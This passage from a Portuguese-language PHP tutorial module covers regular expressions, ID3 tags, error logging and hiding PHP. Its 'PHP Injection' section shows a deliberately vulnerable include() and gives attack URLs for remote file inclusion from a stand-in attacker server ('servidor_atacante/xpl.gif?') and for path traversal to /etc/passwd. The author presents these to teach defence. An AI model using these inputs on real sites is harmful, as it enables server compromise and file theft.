2. $test = [color=" orange"]"*? teste"[/color];

3. [color=" blue"]echo[/color] preg_match([color=" orange"]"#(\*\?\s)#"[/color], $test);


4. [color=" red fontweight bold"]?>[/color]

[color="DarkBlue"]"#(\*\?\s)#"[/color] agora vamos tirar o que no interessa


[color="red"]\*\?\s[/color] as aspas pra delimitar a string o # pra delimitar a ER () era s
pra fazer uma sub classe entao restou s "\*\?\s ficou bem mais facil de entender no
mesmo? o \ est escapando o * e o ? mas \s faz parte da funes do ER e ele quer dizer que
combina com caractere em branco.
$test = "*? teste"; ento a funo ira retornar verdadeiro pois ela tem "*? teste";
um * e ? depois um espao e exatamente o que a gente procurava \*\?\s
outra funo

$code = preg_replace(sql_regcase( "#(\?&gt;|%&gt;)|(&lt;%|&lt;\?)(php)?#") , "<span


style='color: red; font-weight: bold;'>\\0</span>", $code );

essa funo ira colorir as tags <??>, <%%> ou <?php ?> <?PHP ?>
[color="DarkBlue"]&lt;[/color] = [color="red"]<[/color] e [color="DarkBlue"]&gt;[/color] =
[color="red"]>[/color]
depois de passar pela funo ira colorir as tags ficando por exemplo :[color="red"]<??>[/color]
no prximo mdulo falarei mais sobre ER , explicarei mais sobre as funes da ER
e darei mais exemplos pra voc no ficar to perdido como eu ficava quando olhava uma ER.

Modulo 10
Introduo
o Expresses Regulares (E.R.) parte2
o Estudo sobre PHP Injection
o Id3 Tags MP3 e PEAR
o Funes ODBC migrando banco Access para o Mysql
o Importando emails salvo com separao de virgulas para o banco Mysql
o Funo getimagesize
o Segurana
o Log de Erros

Expresses Regulares (E.R.) parte2


Os primeiros conceitos relacionados s expresses regulares surgiram no incio da dcada de
40, num artigo que teorizava o funcionamento dos neurnios. A partir da, nos 25 anos que se
seguiram, expresses regulares foram correntemente discutidas no contexto matemtico,
onde sua teoria foi desenvolvida.
A primeira publicao sobre ERs em computadores data de 1968, num artigo de Ken
Thompson, denominado ``Regular Expression Search Algorithm''. Com base neste trabalho, ele
desenvolveu o qed, um editor que foi a base do ed, editor de texto padro do UNIX. A idia por
trs das ERs tomara tal dimenso que um dos comandos do ed ``g/Regular Expression/p'' que
literalmente significa ``Global Regular Expression Print'', era to til que ganhou seu prprio
aplicativo: o grep, que por por sua vez, teve melhoramentos e adies em suas ERs dando
origem ao egrep (extended grep).
Seguindo a filosofia das ERs, outros programas foram aparecendo e incorporando mais e mais
expresses, como o awk, o lex e o sed. Assim, para padronizar a implementao e uso das ERs
por eles, estas foram inclusas na biblioteca C bsica, para qualquer programa utilizar-se delas.
O egrep, o grep, o perl e o emacs sero as ferramentas principais utilizadas para exemplificar o
uso das ERs, uma vez que estes programas so recentes e suportam ERs da forma mais limpa e
flexvel, na linha de comando, sem a necessidade de escapar dos caracteres especiais. No
entanto, insistimos que nos centralizaremos no raciocnio geral da experesses regulares,
sendo que informaes especficas de sintaxe devem ser retiradas das pginas dos manuais
dos programas que tm suporte para ERs.
Continuando com ER, ER muito usando em sistemas bbcode ou highlight funes para colorir
codigos
uns exemplos usado em bbcode:

$mensagem = preg_replace("/\[b\](.*?)\[\/b\]/si", "<b>\\1</b>", $mensagem);


$mensagem = preg_replace("/\[i\](.*?)\[\/i\]/si", "<i>\\1</i>", $mensagem);
$mensagem = preg_replace("/\[u\](.*?)\[\/u\]/si", "<u>\\1</u>", $mensagem);
$mensagem = ereg_replace(":mellow:", "<img src='mellow.gif' border='0'>", $mensagem);

1 exemplo ira substituir tudo que tiver entre conteudo por <b>conteudo</b> usando as tags
html para deixar negrito o texto
2 exemplo ira substituir tudo que tiver entre conteudo por <i>conteudo</i> usando as tags
html para deixar em italico o texto
3 exemplo ira substituir tudo que tiver entre conteudo por <b>conteudo</u> usando as tags
html para criar uma lista
4 exemplo ira trocar o texto script por uma imagem relacionada a ela os famosos smiles

PHP
1. $txt = preg_replace("/[$]([a-zA-Z_])([a-zA-Z0-9_]*)/", "<span style=\"color: blue; fontweight: bold;\">\\0</span>", $txt);

esse exemplo acima ira colorir tudo que tiver junto da $+string veja a ER se comear com
numero ela nao ira colorir

PHP
1. $txt = preg_replace("/'(.*?)'/", "<span style=\"color: red;\">\\0</span>",$txt);

esse exemplo acima ira colorir tudo que tiver entre 'string'

Referncias Bibliogrficas

1 Mastering Regular Expressions'', by Jeffrey E. F. Friedl; second edition, 1994, O'Reilly.


2 Expresses Regulares '', por Aurlio M. Jargas; Revista do Linux, 2000 n.o 3, Comunidade
Linux Brasileira.
3 Expresses Regulares 2'', by Aurlio M. Jargas; Revista do Linux, 2000 n.o 7, Comunidade
Linux Brasileira.
4 http://aurelio.net/er Aurlio M. Jargas

Estudo sobre PHP Injection


Hoje em dia, comum a utilizao de linguagens como o PHP para construo de portais e
sites dinmicos em todo o mundo.
Essa tcnica oferece um meio de interagir com o Web site e outros usurios, tendo um meio
de troca de informaes, notcias,etc.
O maior problema desses sites dinmicos so as diversas maneiras de se explorar o sistema.
Explorar uma brecha no sistema a partit de um site rodando arquivos PHP pode se intitular
PHP injection.
Como o prprio nome ja diz, injeo de Cdigo em PHP, mas antes de mostrar como fazer,
vamos entender por que e como essa brecha acontece.
No PHP temos um recurso chamado include, o qual nos permite incluir um arquivo inteiro
dentro de uma pgina ja pronta.
muito usado em pginas nas quais existe um layout pr-definido e o contedo central
dinmico.
exemplo 1:
<html>
<head>
</head>
<body>
<?php
include "arquivo.php";
?>
</body>
</html>

Como todo mundo sabe quando a pgina acima for processada pelo servidor Web, todo o
contedo do arquivo.php ser processado pelo servidor
e colocano no exemplo 1.
Com isso vamos ao que interessa, a funo include permite que faamos incluses remotas, ou
seja poderemos incluir arquivos no cdigo PHP, mesmo
que estes no estejam no servidor onde a pgina se encontra.
exemplo:

PHP
1. <?php

2. include "http://site.com.br/pagina.php";
3. ?>

O importante dessas explicaes para voc saber proteger melhor seu site e se prevenir de
futuros ataques deixando seu sistema mais seguro
mas no use essas informaes para tirar proveito, nem para invadir outro site, sabia que isso
crime ,e tenha sempre a informao sobre segurana
para se proteger e aprender mais sobre segurana.
Agora vamos ver como como injetar um cdigo malisioso na pgina a ser invadida.
Muitos programadores hoje no aprendem ou no dao muita importancia para segurana.
Geralmente a funo include usada para agilizar a exibio de uma pgina.
exemplo 2:
pagina.php
PHP
1. <html>
2. <head>
3. </head>
4. <body>
5. <?php
6. if(isset($_GET["corpo"]))
7. {
8. include $_GET["corpo"];
9. }
10. ?>
11. </body>
12. </html>

Esse exemplo acima ira incluir uma pgina por exemplo a arquivo.php assim que ela for
inserida pela url exemplo:

http://pagina.php?corpo=arquivo.php

para injetar um cdigo malicioso nessa pgina s fazer assim:

http://pagina.php?corpo=http://seusite.com.br/script.php

uma maneira de se proteger contra esse ataque tirando a extenso para ser incluida
exemplo:
exemplo 3:
PHP
1. pagina.php
2. <html>
3. <head>
4. </head>
5. <body>
6. <?php
7. if(isset($_GET["corpo"]))
8. {
9. include $_GET["corpo"].".php";
10. }
11. ?>
12. </body>
13. </html>

agora essa pgina s aceita arquivos passados sem extenso por exemplo:

http://pagina.php?corpo=arquivo

mas ainda da para injetar um cdigo malicioso


desse modo acima o o script do atacante seria processado no prprio servidor e passado s o
resultado para a maquina que pretende invadir
e no isso que ns queremos, o importante que seja processado o script do atacante no
prprio servidor da vitima.
por isso no vamos mais usar extenso .php, vamos usar qualquer outra que no seja
processada pelo servidor que vamos injetar o exploit .
Vamos usar .gif, mas pode usar qualquer outra extenso
Agora para burlar o exemplo 3 usaremos:
http://sitedavitima.com.br?corpo=http://servidor_atacante/xpl.gif?

com esse ponto de interrogao logo aps xpl.gif ,conseguiremos o desejado antes de fazer a
incluso ficaria assim :
http://sitedavitima.com.br?corpo=http://servidor_atacante/xpl.gif?.php

Tudo que tiver depois do ponto de interrogao ser descartado pelo servidor do atacante
sendo possivel assim descarregar o xpl.gif para dentro do servidor alvo.
outra forma que usam o include assim:
exemplo 4:

PHP
1. <?php
2.
3. include ("var/www/htdocs/http/".$_GET["corpo"]);
4.
5. ?>

agora no conseguiremos mais injetar nenhum script pois se tentarmos daria erro porque ele
no conseguiu achar o caminho certo
mas ainda da pra tirar alguma vantagem dessa situao se for servidor linux vamos fazer assim:
http://site_vitima.com.br?corpo=../../../etc/passwd

o include ficaria assim:


exemplo 5

PHP
1. <?php
2.
3. include ("var/www/htdocs/http/../../../etc/passwd");
4.
5. ?>

Permitindo assim ler qualquer arquivo no servidor no qual tenhamos permisso para isso.
apenas arquivo com extenso .php no conseguiremos ler
nesse diretorio fica todos os usurios do computador.
Bom vamos parar por aqui porque no quero treinar nenhum usuario para ser hacker e sim
aprender mais sobre segurana
mas fique atento sites sem proteo o atacante pode visualizar senhas e pastas que voc no
esperava que ele veria
proteja seus diretorios e reescreva ses scripts para melhorar a segurana, hoje em dia o
register_globals deixou de ser setado pra on no php.ini
para off, por motivos de segurana, com o register_globals = on da para invadir sites pelo
login, injetar cdigos malisiosos
muito mais facil ,resumindo register_globals = on deixa uma brecha enorme na sua segurana
a mesma coisa voc reforar sua porta colocando cadeados
fechaduras fortes, mas a casa ta sem paredes o ladro entra sem passar pela porta, e os
tecnicos do php aconselham a nunca mais usar o register_globals = on
Fique atento tambm contra sql injection , ja no vou falar dele pois vocs devem conhecer
bastante sobre isso
bons estudos.
Id3 Tags MP3 e PEAR

Para usar a funo do php para manipular as tags mp3 voc precisa descomentar a
linhaextension=php_id3.dll
do php.ini e reiniciar o servidor, recomendo instalar tambm os servios do PEAR ,PEAR quer
dizer pra e at seu simbolo
a fruta pra.
PEAR, o repositrio do PHP de aplicao e extenso (originalmente, Extenso do PHP e
Repositrio de Add-on) so as verses das classes da fundao do PHP, e talvez cresam no
futuro para ser um dos caminhos principais para distribuir o PHP em ambas extenses, C e PHP
entre os desenvolvedores.
O PEAR nasceu em discusses realizadas nas PHP Developers' Meeting-PMD (Reunies dos
Desenvolvedores do PHP-RDP) realizada em Janeiro de 2000 em Tel Aviv. Foi criada por Sitg S.
Bakken, e dedicada sua primeira filha, Malin Bakken.
Desde o comeo de 2000, o PEAR cresceu para ser um grande, e significativo projeto com um
largo nmero de desenvolvedores trabalhando em executar tarefas comuns, funcionalidades
reusveis para o benefcio de toda a comunidade PHP. Hoje em dia o PEAR inclu acesso base
de dados, cache de contedo, calculaes matemticas, eCommerce e muito mais.
Mais informao sobre o PEAR pode ser encontrada em http://pear.php.net/manual

Com essa funo do php para manipular o mp3 voc conseguir pegar informaes das
musicas mp3 como por exemplo titulo da musica nome do artista, album, genero musical, ano
do cd e nmero da musica.
e vai poder tambm editar essas informaes dos arquivos .mp3
funes do php para manipular o mp3:
id3_get_genre_id -- Voc fornece o nome do genero e essa funo retorna o numero do
genero da musica por exemplo id3_get_genre_id("Rock") = 17
id3_get_genre_list -- Pega a lista de todos os generos e coloca um array numero e nome do
genero
id3_get_genre_name -- Voc fornece o numero do genero e essa funo retorna o nome do
genero da musica por exemplo id3_get_genre_id(17) = Rock
id3_get_tag -- Pega todas informaes da tag mp3 e passa para um array
id3_get_version -- Pega a verso do id3
id3_remove_tag -- Remove as tags do mp3
id3_set_tag -- Atualiza as tags do mp3
Exemplo 1. id3_get_genre_id()

PHP
1. <?php
2. $id = id3_get_genre_id("Alternative");

3. echo $id;
4. ?>
Resultado: 20

Exemplo 2. id3_get_genre_list()
PHP
1. <?php
2. $genres = id3_get_genre_list();
3. print_r($genres);
4. ?>

Resultado:

Array
(
[0] => Blues
[1] => Classic Rock
[2] => Country
[3] => Dance
[4] => Disco
[5] => Funk
[6] => Grunge
[7] => Hip-Hop
[8] => Jazz
[9] => Metal
[10] => New Age
[11] => Oldies
[12] => Other
[13] => Pop
[14] => R&B
[15] => Rap
[16] => Reggae
[17] => Rock
[18] => Techno
[19] => Industrial
[20] => Alternative
[21] => Ska

[22] => Death Metal


[23] => Pranks
[24] => Soundtrack
[25] => Euro-Techno
[26] => Ambient
[27] => Trip-Hop
[28] => Vocal
[29] => Jazz+Funk
[30] => Fusion
[31] => Trance
[32] => Classical
[33] => Instrumental
[34] => Acid
[35] => House
[36] => Game
[37] => Sound Clip
[38] => Gospel
[39] => Noise
[40] => Alternative Rock
[41] => Bass
[42] => Soul
[43] => Punk
[44] => Space
[45] => Meditative
[46] => Instrumental Pop
[47] => Instrumental Rock
[48] => Ethnic
[49] => Gothic
[50] => Darkwave
[51] => Techno-Industrial
[52] => Electronic
[53] => Pop-Folk
[54] => Eurodance
[55] => Dream
[56] => Southern Rock
[57] => Comedy
[58] => Cult
[59] => Gangsta
[60] => Top 40
[61] => Christian Rap
[62] => Pop/Funk
[63] => Jungle
[64] => Native US
[65] => Cabaret
[66] => New Wave

[67] => Psychadelic


[68] => Rave
[69] => Showtunes
[70] => Trailer
[71] => Lo-Fi
[72] => Tribal
[73] => Acid Punk
[74] => Acid Jazz
[75] => Polka
[76] => Retro
[77] => Musical
[78] => Rock & Roll
[79] => Hard Rock
[80] => Folk
[81] => Folk-Rock
[82] => National Folk
[83] => Swing
[84] => Fast Fusion
[85] => Bebob
[86] => Latin
[87] => Revival
[88] => Celtic
[89] => Bluegrass
[90] => Avantgarde
[91] => Gothic Rock
[92] => Progressive Rock
[93] => Psychedelic Rock
[94] => Symphonic Rock
[95] => Slow Rock
[96] => Big Band
[97] => Chorus
[98] => Easy Listening
[99] => Acoustic
[100] => Humour
[101] => Speech
[102] => Chanson
[103] => Opera
[104] => Chamber Music
[105] => Sonata
[106] => Symphony
[107] => Booty Bass
[108] => Primus
[109] => Porn Groove
[110] => Satire
[111] => Slow Jam

[112] => Club


[113] => Tango
[114] => Samba
[115] => Folklore
[116] => Ballad
[117] => Power Ballad
[118] => Rhytmic Soul
[119] => Freestyle
[120] => Duet
[121] => Punk Rock
[122] => Drum Solo
[123] => Acapella
[124] => Euro-House
[125] => Dance Hall
[126] => Goa
[127] => Drum & Bass
[128] => Club-House
[129] => Hardcore
[130] => Terror
[131] => Indie
[132] => BritPop
[133] => Negerpunk
[134] => Polsk Punk
[135] => Beat
[136] => Christian Gangsta
[137] => Heavy Metal
[138] => Black Metal
[139] => Crossover
[140] => Contemporary C
[141] => Christian Rock
[142] => Merengue
[143] => Salsa
[144] => Thrash Metal
[145] => Anime
[146] => JPop
[147] => SynthPop
)

Exemplo 3. id3_get_genre_name()
PHP
1. <?php
2. $genre = id3_get_genre_name(20);

3. echo $genre;
4. ?>

Resultado: Alternative

Exemplo 4. id3_get_tag()
PHP
1. <?php
2. $tag = id3_get_tag( "example.mp3" );
3. print_r($tag);
4. ?>

Resultado:
Array
(
[title] => DN-38416
[artist] => Re:\Legion
[album] => Reflections
[year] => 2004
[genre] => 19
)

Nota: Essa funo id3_get_tag() s suporta id3 1.0 e 1.1


Exemplo 5. id3_get_version()
PHP
1. <?php
2. $version = id3_get_version( "example.mp3" );
3. if ($version == ID3_V1_0) {
4. echo "Versao 1.x";

5. }
6. if ($version == ID3_V1_1) {
7. echo "Versao 1.1";
8. }
9. if ($version == ID3_V2) {
10. echo "Versao 2.x";
11. }
12. ?>

Exemplo 6. id3_remove_tag() example


PHP
1. <?php
2. $result = id3_remove_tag( "example.mp3", ID3_V1_0 );
3. if ($result === true) {
4. echo "Tag removida com sucesso";
5. }
6. ?>

Exemplo 7. id3_set_tag()

PHP
1. <?php
2. $data = array(
3. "title" => "Re:Start",
4. "artist" => "Re:\Legion",
5. "comment" => "A nice track"
6.

);

7. $result = id3_set_tag( "example.mp3", $data, ID3_V1_0 );


8. if ($result === true) {
9. echo "Tag foi atualizada com sucesso";
10. }
11. ?>

Se quiserem conferir mais detalhes eu fiz uma funo que lista s as mp3 que tiver no diretorio
e ainda tem um player para tocar as musicas, mostra o tamanho das mp3
e tem a opo de editar as tags mp3 s clicar no simbolo do lado do nome coloquei uma
imagem do winamp, esse script que eu fiz est no laboratorio de scripts
podem utilizarem ,modificarem e melhorarem, fiquem a vontade, a s lembrando essa
imagem que fica do lado do nome das mp3 no diretorio esta em mime e voc vai visualizar ela
normalmente
fiz isso para no precisar de eu colocar a imagem no servidor pra download e para vocs
aprenderem mais uma novidade.
Funo getimagesize
Muita gente no conhece mas essa funo simples muito util para voc validar uma imagem
,e voc pode tambm pegar as dimenses da imagem
e o tipo mime real da imagem

$size = getimagesize("foto.jpg");

resultado:

Array ( [0] => 192 [1] => 32 [2] => 1 [3] => width="192" height="32" [bits] => 8 [channels] => 3
[mime] => image/gif )

Segurana
Escondendo o PHP
Em geral, segurana por obscurido uma das mais fracas formas de segurana. Mas em
alguns casos, cada pequeno bit extra de segurana desejvel.

Algumas poucas tcnicas simples podem ajudar a esconder o PHP, possivelmente atrasando
um invasor que est tentando descobrir fraquezas em seu sistema. Setando expose_php = off
em seu arquivo php.ini, voc reduz a quantidade de informao disponvel para ele.
Uma outra ttica configurar os servidores tais como apache para interpretar diferentes tipos
de arquivos atravs do PHP, ou com uma diretiva .htaccess, ou na prpria configurao do
apache. Voc pode ento usar extenses de arquivos enganadoras: Escondendo PHP fazendo
parecer com outra linguagem
# Fazer o cdigo PHP parecer com outros tipos de cdigos
AddType application/x-httpd-php .asp .py .pl
Ou escond-lo completamente: Exemplo 15-19. Usando tipos desconhecidos para extenses
do PHP
# Fazer o cdigo PHP parecer com tipos de cdigos desconhecidos
AddType application/x-httpd-php .bop .foo .133t
Ou escond-lo no cdigo HTML, que tem baixa chance de ser atingido porque todos os HTML
sero interpretados pelo PHP: Exemplo 15-20. Usando tipos de HTML para extenses do PHP
# Fazer todo o cdigo parecer com HTML
AddType application/x-httpd-php .htm .html
Para este exemplo trabalhar efetivamente, voc deve renomear todos os seus arquivos PHP
com as extenses acimas. Apesar dessa ser a forma de segurana atravs obscurido, ela a
medida menos preventiva e com algumas desvantagens.
Log de Erros
error_log()
error_log -- Envia uma mensagem de erro para algum lugar
Descrio
int error_log ( string mensagem [, int mensagem_type [, string destination [, string
extra_headers]]])

Envia uma mensagem de erro para o log de um servidor, para uma porta TCP ou para um
arquivo. O primeiro parmetro, mensagem, a mensagem de erro que deve ser logada. O
segundo parmetro, mensagem_type diz para onde a mensagem deve ir:
Tabela 1. Tipo de logs de error_log()
0 mensagem enviada para o sistema de log do PHP, usando o sistema de log do sistema

operacional ou para um arquivo, dependendo do que estiver definido na diretiva error_log


1 mensagem enviado para o endereo de email em destination. Este o unico tipo de
mensagem onde o quarto parmetro extra_headers usado. Este tipo de mensagem usa a
mesma funo interna que a funo mail() usa.
2 mensagem enviada atravs de conexo de debug do PHP. Esta opo s esta disponvel se
o debug remoto estiver ativado . Neste caso, o parmetro destination define o nume do
servidor ou endereo IP e opcionalmente, o nmero da porta, do socket recebendo a
informao de debug.
3 mensagem adicionada ao arquivo destination.
exemplo de como criar um arquivo de log de erro:
PHP
1. <?php
2. $data = date("d/m/Y H:i");
3. error_log($data."|".mysql_errno()."\n", 3, "erros.log");
4. ?>

ser criado um arquivo com o nome de erros.log


com o conteudo:
30/04/2005 18:33|1064

data hora|numero do erro do mysql


mas voc pode usar esse log de erro em qualquer sistema que voc quiser
error_reporting -- Define quais erros sero reportados
A funo error_reporting() define a diretiva error_reporting em tempo de execuo. O PHP
tem vrios nveis de erros, usando esta funo voc pode definir o nvel durante a execuo do
seu script.
error_reporting() define o nvel de erros que o PHP ir reportar, e retorna o nvel antigo. O
parmetro nvel pode usar um bitmask, ou constantes. fortemente recomendado que voc
use constantes para assegurar compatibilidade com futuras verses. Como nveis de erros
podem ser adicionados, o intervalo das constantes pode crescer, ento os nveis de erros
indicados anteriormente por inteiros pode no funcionar como esperado.
Alguns exemplos de uso:

Exemplo 1. Exemplos error_reporting()


PHP
1. <?php
2.
3. // Desativa o relatrio de todos os erros
4. error_reporting(0);
5.
6. // Reporta erros simples
7. error_reporting(E_ERROR | E_WARNING | E_PARSE);
8.
9. // Reportar E_NOTICE pode ser bom tambm (para reportar variveis no iniciadas
10. // ou eros de digitao em nomes de variveis ...)
11. error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
12.
13. // Reportar todos os erros exceto E_NOTICE
14. // Este o valor padro no php.ini
15. error_reporting(E_ALL ^ E_NOTICE);
16.
17. // Reporta todos os erros (bitwise 63 deve ser usado no PHP 3)
18. error_reporting(E_ALL);
19.
20. // O mesmo que error_reporting(E_ALL);
21. ini_set ('error_reporting', E_ALL);
22.
23. ?>
24.

Tabela 1. Constantes de nvel e valores de bit de error_reporting().

Valor Constante
1 E_ERROR
2 E_WARNING
4 E_PARSE
8 E_NOTICE
16 E_CORE_ERROR
32 E_CORE_WARNING
64 E_COMPILE_ERROR
128 E_COMPILE_WARNING
256 E_USER_ERROR
512 E_USER_WARNING
1024 E_USER_NOTICE
2047 E_ALL
2048 E_STRICT

Ateno
Debug remoto via TCP/IP do PHP 3 e no esta disponvel no PHP 4.
Exemplo 1. Exemplos de error_log()
PHP
1.
2. <?php
3. // Envia uma notificao para o log do servidor
4. // se no pudermos conectar ao banco de dados.
5. if (!Ora_Logon($username, $password)) {
6. error_log("Oracle database not available!", 0);
7. }
8.
9. // Avisa o administrados se ns ficarmos sem FOO
10. if (!($foo = allocate_new_foo())) {
11. error_log("Big trouble, we're all out of FOOs!", 1,

12. "operator@example.com");
13. }
14.
15. // outros meios de usar calling error_log():
16. error_log("You messed up!", 2, "127.0.0.1:7000");
17. error_log("You messed up!", 2, "loghost");
18. error_log("You messed up!", 3, "/var/tmp/my-errors.log");
19. ?>

Erros e Logs
Introduo
Estas so funes para lidar com erros e logs. Elas permitem a voc definir a suas prprias
regras para manusear erros, assim como para modificar a maneira com que efetuado o log
de erros. Isto permite a voc melhorar e adaptar as suas necessidades os avisos de erro.
Com as funes de log, voc pode mandar mensagens diretamente para outras mquinas, para
um email (ou email para um pager), para os logs do sistema, etc, assim voc pode
seletivamente logar e monitorar as partes mais importantes das suas aplicaes e websites.
As funes de erro permitem voc configurar quais nveis de erro devem ser reportados e o
tipo de resposta que ser dado, indo desde simples avisos at as funes retornadas durante
os erros.
Requisitos
Nenhuma biblioteca externa necessria para compilar esta extenso.
Instalao
No h nenhuma instalao necessria para utilizar estas funes, elas fazem parte do ncleo
do PHP.
Configurao durante execuo
O comportamento dessas funes podem ser modificado pelas configuraes do php.ini.

Tabela 1. Opes de configuraes de erros e log

Nome Padro Modificvel


error_reporting E_ALL & ~E_NOTICE PHP_INI_ALL
display_errors "1" PHP_INI_ALL
display_startup_errors "0" PHP_INI_ALL
log_errors "0" PHP_INI_ALL
log_errors_max_len "1024" PHP_INI_ALL
ignore_repeated_errors "0" PHP_INI_ALL
ignore_repeated_source "0" PHP_INI_ALL
report_memleaks "1" PHP_INI_SYSTEM
track_errors "0" PHP_INI_ALL
html_errors "1" PHP_INI_ALL
docref_root "" PHP_INI_ALL
docref_ext "" PHP_INI_ALL
error_prepend_string NULL PHP_INI_ALL
error_append_string NULL PHP_INI_ALL
error_log NULL PHP_INI_ALL
warn_plus_overloading NULL PHP_INI??

Para maiores detalhes e definio das constantes do PHP_INI_* veja ini_set().


Breve descrio das diretivas de configurao.
error_reporting integer
Define o nvel de erros para reportar. O parmetro pode ser um inteiro ou uma constante. Os
nveis de erros para reportar esto descritos em Constantes Predefinidas, e no php.ini. Para
definir em tempo de execuo, use a funo error_reporting(). Veja tambm a diretiva
display_errors.
No PHP 4 e PHP 5 o valor padro E_ALL & ~E_NOTICE. Esta definio no mostra erros de
nvel E_NOTICE. Voc deve querer mostra-los durante o desenvolvimento.
Nota: Ativando E_NOTICE durante o desenvolvimento tem alguns beneficios. Para o proposito
de eliminar erros: mensagens NOTICE iro avisar voc sobre possiveis erros em seu cdigo. Por
exemplo, o uso de valores no definidos avisado. extremamente til para encontrar erros
de digitao e economisar tempo na correo de erros. As mensagens NOTICE iro avisar a
voc sobre mal estilo. Por exemplo, $arr[item] melhor que seja escrito como $arr['item'] j
que o PHP ir tratar "item" como uma constante. Se no for uma constante, o PHP ir
considerar como uma string de ndice para a matriz.
Nota: No PHP 5 um novo nvel de erro E_STRICT esta disponvel. J que E_STRICT no esta
includa em E_ALL voc deve explicitamente ativar este nvel de erro. Ativar E_STRICT durante
o desenvolvimento tem alguns beneficios. Mensagem STRICT iro ajudar a voc a utilizar o
metodo mais recente de codificao, por exemplo, avisar voc sobre funes obsoletas.

No PHP 3, a definio padro (E_ERROR | E_WARNING | E_PARSE), indicando a mesma coisa.


Note, entretanto, desde que constantes no so suportadas no php3.ini do PHP 3, a definio
do nvel de erros para reportar deve ser nmerica, neste caso 7.
display_errors boolean
Isto determina quando os erros devem ser mostrados como parte da sada ou se devem ser
escondidos do usurio.
Nota: Isto serve para suportar o seu desenvolvimento e nunca deve ser usado em sistemas de
produo (ex. sistemas conectados a internet).
display_startup_errors boolean
Mesmo quando display_errors esta em on, erros que aconteam durante a inicializao do
PHP no so mostrados. fortemente recomendado manter display_startup_errors em off,
exceto para procurar erros.
log_errors boolean
Indica se as mensagens de erro do script devem ficar no log de erros do servidor ou em
error_log. Esta opo depende do servidor.
Nota: Voc fortemente avisado para usar o log de erros ao invs de mostra-los em web sites
de produo.
log_errors_max_len integer
Define o limite de tamanho da mensagem de erro para logar em bytes. Em error_log
adicionada informao sobre a fonte. O padro 1024 e 0 permite que no seja estabelecido
nenhum limite.
ignore_repeated_errors boolean
No loga mensagens repetidas. Erros repetidos devem acontecer no mesmo arquivo na
mesma linha enquanto ignore_repeated_source estiver em true.
ignore_repeated_source boolean
Ignora a fonte da mensagem quando estiver ignorando mensagens repetidos. Quando esta
definio ON no ir logar mensagens de erros repetidas de arquivos diferentes ou linhas
diferentes.
report_memleaks boolean
Se este parmetro estiver em Off, quando acontecerem memory leaks no ser mostrado (na
sada ou no log). Isto s tem efeito numa compilao de debug, e se error_reporting incluir
E_WARNING na lista de permitidos.
track_errors boolean
Se ativado, a ltima mensagem de erro sempre estar disponvel na varivel $php_errormsg.

html_errors boolean
Desativa as tags HTML nas mensagens de erro. O novo formato de mensagens de erro em
HTML produz mensagens que podem ser clicadas e que direcionam o usurio para uma pagina
descrevendo o erro ou a funo que causou o erro. Estas referencias so afetadas por
docref_root e docref_ext.
docref_root string
O novo formato de mensagens de erro em HTML produz mensagens que podem ser clicadas e
que direcionam o usurio para uma pagina descrevendo o erro ou a funo que causou o erro.
No caso de paginas de manual voc pode baixar o manual na sua lngua e definir esta diretiva
para a sua cpia local. Se a sua cpia local do manual podur ser acessada por '/manual/' voc
pode simplesmente usar docref_root=/manual/. Adicionalmente voc deve definir docref_ext
para ser igual a extenso da sua cpia docref_ext=.html. possvel usar referencias externas.
Por exemplo, voc pode usar docref_root=http://manual/en/ ou
docref_root="http://landonize.it/?how=url&theme=classic&filter=Landon
&url=http%3A%2F%2Fwww.php.net%2F"
A maior parte do tempo voc deve querer que o valor de docref_root termine com uma barra
'/'. Mas veja o segundo exemplo acima o qual no tem ou no necessita isso.
Nota: Isto para suportar o seu desenvolvimento j que torna mais fcil encontrar a descrio
de uma funo. Entretando no deve ser usado em sistemas de produo (ex. sistemas
conectados na internet).
docref_ext string
Veja docref_root.
Nota: O valor de docref_ext deve comear com um ponto '.'.
error_prepend_string string
String para mostrar antes de uma mensagem de erro.
error_append_string string
String para mostrar aps uma mensagem de erro.
error_log string
O nome do arquivo onde os erros do script sero logados. Se o valor especial syslog usado, os
erros so enviados para o log do sistema. No UNIX, isto indica syslog(3) e no Windows NT isto
indica o log do evento. O log de sistema no suportado no Windows 95. Veja tambm:
syslog().
warn_plus_overloading boolean
Se ativado, esta opo faz o PHP mostrar um aviso quando o operador de adio (+) usado
em strings. Isto para tornar mais fcil encontrar scripts que precisam ser rescritos usando o

operador de concatenao (.).

Constantes Predefinidas
As constantes listadas abaixo esto sempre disponveis como parte do ncleo do PHP.
Nota: Voc pode usar estes nomes de constantes no php.ini mas no fora do PHP, como no
httpd.conf, aonde voc deve usar os valores.
Tabela 2. Erros e Log

Valor Constante Descrio Nota


1 E_ERROR (integer) Erros em tempo de execuo fatais. Estes indicam erros que no podem
ser recuperados, como problemas de alocao de memria. A execuo do script
interrompida.
2 E_WARNING (integer) Avisos em tempo de execuo (erros no fatais). A execuo do script
no interrompida.
4 E_PARSE (integer) Erro em tempo de compilao. Erros gerados pelo interpretador.
8 E_NOTICE (integer) Notcia em tempo de execuo. Indica que o script encontrou alguma
coisa que pode indicar um erro, mas que tambm possa acontecer durante a execuo normal
do script.
16 E_CORE_ERROR (integer) Erro fatal que acontece durante a inicializao do PHP. Este
parecido com E_ERROR, exceto que gerado pelo ncleo do PHP. Somente PHP 4
32 E_CORE_WARNING (integer) Avisos (erros no fatais) que aconteam durante a
inicializao do PHP. Este parecido com E_WARNING, exceto que gerado pelo ncleo do
PHP. Somente PHP 4
64 E_COMPILE_ERROR (integer) Erro fatal em tempo de compilao. Este parecido com
E_ERROR, exceto que gerado pelo Zend Scripting Engine. Somente PHP 4
128 E_COMPILE_WARNING (integer) Aviso em tempo de compilao. Este parecido com
E_WARNING, exceto que geredo pelo Zend Scripting Engine. Somente PHP 4
256 E_USER_ERROR (integer) Erro gerado pelo usurio. Este parecido com E_ERROR, exceto
que gerado pelo cdigo PHP usando a funo trigger_error(). Somente PHP 4
512 E_USER_WARNING (integer) Aviso gerado pelo usurio. Este parecido com
E_WARNING, exceto que gerado pelo cdigo PHP usando a funo trigger_error(). Somente
PHP 4
1024 E_USER_NOTICE (integer) Notcia gerada pelo usurio. Este parecido com E_NOTICE,
exceto que gerado pelo cdigo PHP usando a funo trigger_error(). Somente PHP 4
2047 E_ALL (integer) Todos os erros e avisos, como suportado, exceto do nvel E_STRICT.
2048 E_STRICT (integer) Nticias em tempo de execuo. Permite ao PHP sugerir
modificaes em seu cdigo para segurar melhor interoperabilidade e compatibilidade futura
do seu cdigo. Somente PHP 5

Os valores acima (numricos ou simbolicos) so usados para criar um bitmask que especifica
